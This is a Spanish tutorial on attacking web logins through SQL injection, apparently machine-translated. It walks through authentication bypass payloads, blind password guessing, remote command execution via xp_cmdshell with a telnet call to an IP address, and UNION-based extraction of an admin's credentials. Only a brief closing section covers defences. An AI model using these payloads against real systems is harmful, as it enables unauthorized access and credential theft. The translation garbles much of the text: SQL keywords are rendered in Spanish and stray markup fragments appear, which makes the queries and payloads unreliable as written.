    SELECCIONE * DE usuarios DONDE login = "usuario" Y contraseña = "31337" Y
    email = " [correo electrónico protegido]"

    Y si el campo de correo electrónico existe, también se verificará esta condición. Si recuerda los conceptos básicos del álgebra de Boole, entonces le viene a la mente que además de la operación "y" hay y "o", y dado que su uso es compatible con SQL, puede
    agregue una condición que siempre devuelva verdadero de la manera descrita. Para hacer esto, debe especificar "usuario" O 1 = 1-- "como inicio de sesión, en cuyo caso la solicitud tomará la forma:

    SELECCIONE * DE usuarios DONDE login = "usuario" O 1 = 1-- "Y
    contraseña = "31337"

    Primero, debe saber que "-" significa el final de la solicitud y todo lo que sigue a "-"
    no será procesado! Resulta como si hiciéramos una solicitud:

    SELECCIONAR * DE usuarios DONDE login = "usuario" O 1 = 1

    Como puede ver, hemos agregado la condición "1 = 1", lo que significa que el criterio de prueba será "si el inicio de sesión es" usuario "o 1 = 1", pero 1 siempre es igual a 1 (la única excepción puede sea ​​la aritmética de Dani Shepovalov :)). Para poner a prueba nuestras sospechas
    martillamos en la barra de direcciones "http://www.server.com?login=user or 1 = 1 - & password = 31337". Esto lleva al hecho de que no importa qué inicio de sesión especificamos, sino
    ¡especialmente la contraseña! Y estamos en la matriz ... oh, en el sistema y podemos descargar tranquilamente lo que necesitamos.

    Pero todo esto es en teoría. En la práctica, no sabemos cómo se forma la solicitud, qué datos se transmiten y en qué secuencia. Por lo tanto, debe especificar "usuario" O 1 = 1-- "para todos los campos. También debe verificar el formulario de envío en busca de campos ocultos. En HTML, se describen como" ". Si hay alguno, guarde la página y cambie los valores de estos campos. Los valores contenidos en ellos a menudo se olvidan para verificar la presencia de sentencias SQL. Pero para que todo funcione, debe especificar el ruta al script en el formulario (etiqueta "FORM") para el parámetro "ACCIÓN", que está manejando la solicitud dada.

    Pero no siempre se sabe también cómo se forma la solicitud,
    el ejemplo anterior podría formarse de las siguientes formas:

    SELECCIONAR * DE usuarios DONDE (inicio de sesión = "usuario" Y contraseña = "31337")
    SELECCIONE * DE usuarios DONDE login = "usuario" Y contraseña = "31337"
    SELECCIONE * DE los usuarios DONDE inicio de sesión = usuario Y contraseña = 31337

    En este caso, puede probar las siguientes opciones:

    "O 1 = 1--
    "O 1 = 1--
    O 1 = 1--
    "O" a "=" a
    "O" a "=" a
    ") O (" a "=" a
    O "1" = "1"

    Todo depende del propósito del script y del programador. Dado que es común que cada persona haga todo a su manera, es muy posible que el programador no elija la opción más fácil. Por lo tanto, uno no debe
    ríndete si te rechazan. Necesario
    prueba tantas opciones como sea posible ...

    Detección de contraseña

    Pasar por alto la autorización no es malo, pero muy a menudo el agujero que usa está cerrado y todo lo que estaba disponible para usted se pierde.
    Esto es de esperar, si el programador no es tonto.
    con el tiempo cubrirá todas las lagunas. Puede deshacerse fácilmente de tales situaciones ocupándose de esto con anticipación. La solución correcta podría ser adivinar la contraseña usando
    análisis de los resultados de la autenticación. Primero, intentamos adivinar la contraseña, para ello ingresamos al lugar de la misma:

    "O contraseña>" a

    Si nos responden que se pasó la autorización, entonces la contraseña
    comienza no con la letra "a", sino con uno de los siguientes en la lista. Avanza y sustituye
    coloque "a", luego "b", "c", "d", "e" ... etc. hasta que nos digan que la contraseña no es correcta. Deje que este proceso se detenga en el símbolo "x", en este caso, se crean dos opciones para el desarrollo de la situación, se encuentra la contraseña o se lee la contraseña en este carácter. Para marcar la primera opción, escribimos el lugar de la contraseña:

    "O contraseña =" x

    y si se acepta la contraseña y se le permite entrar, ¡adivinó la contraseña! Bueno, no, entonces ya deberías seleccionar el segundo carácter,
    exactamente lo mismo desde el principio. Para dos caracteres, marque
    necesitas lo mismo. Al final, recibirá una contraseña y está buscando el inicio de sesión de la misma manera 🙂
    Si la contraseña y el inicio de sesión encontrados no le convienen, puede buscar otros. Para hacer esto, debe comenzar a verificar desde el último carácter de la contraseña encontrada. Entonces, si la contraseña era "xxx", es necesario verificar la existencia de la contraseña.
    "xxy":

    "O contraseña =" xxx

    ¡para no perderse más de una opción!

    MS SQL Server

    MS SQL Server es generalmente un regalo del cielo si se pierde el filtrado necesario. Usando la vulnerabilidad de inyección SQL, puede ejecutar
    comandos en un servidor remoto usando exec master..xp_cmdshell. Pero para usar esta construcción
    debe completar la operación "SELECT". En SQL, las declaraciones están separadas por punto y coma. Por lo tanto, se conectará a alguna IP a través de Telnet, debe ingresar la contraseña / lugar de inicio de sesión:

    "; exec master..xp_cmdshell" telnet 192.168.0.1 "-

    MS SQL Server tiene algunos más características interesantes, lo que le permite conocer los inicios de sesión y las contraseñas almacenadas en la base de datos. Para hacer esto, la salida de error se redirige a un servidor arbitrario y a través de ellos
    análisis, puede averiguar el nombre de la tabla, los campos y sus tipos. Entonces puedes solicitar

    "UNION SELECT TOP 1 inicio de sesión de usuarios--

    (inicio de sesión es el nombre del campo que contiene el inicio de sesión y usuarios es el nombre de la tabla,
    semi-científicos en el proceso de análisis de errores).

    La respuesta podría ser la siguiente:


    Error de sintaxis al convertir el valor nvarchar "(! LANG: admin" to a column of data type int. !}
    /default.asp, línea 27

    Ahora sabemos que hay un usuario llamado "admin". Ahora podemos obtener su contraseña:

    "UNION SELECT TOP 1 password FROM users where login =" admin "-

    Resultado:

    Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
    Error de sintaxis al convertir el valor nvarchar "(! LANG: xxx" to a column of data type int. !}
    /tedault.asp, línea 27

    Ahora sabemos que hay un usuario llamado "admin" con la contraseña "xxx". Esto puede con seguridad
    utilizar e iniciar sesión en el sistema 😉

    Pero hay muchas otras funciones para trabajar con SQL,
    al trabajar con una base de datos, también puede eliminar datos, modificar, insertar los suyos e incluso manipular archivos y trabajar con el registro.
    En general, las reglas de SQL Server 🙂

    Proteccion

    Pero todo esto, naturalmente, se puede evitar. Para hacer esto, puedes
    usar filtros,
    proporcionados por los fabricantes. Puede encontrar sus propias soluciones, por ejemplo, reemplazar todas las
    comillas dobles (si para SQL usamos solicitud única), o viceversa. Solo puedes permitir el uso de letras y con @ baki, si necesitas ingresar
    dirección de correo electrónico. Y también en la perla hay un asombroso
    la función 🙂 quote () en el módulo DBI :: DBD que hace que su consulta sea segura contra SQL... Hay muchas soluciones, solo las necesitas
    Aprovechar. De lo contrario, ¿por qué entonces todo esto ...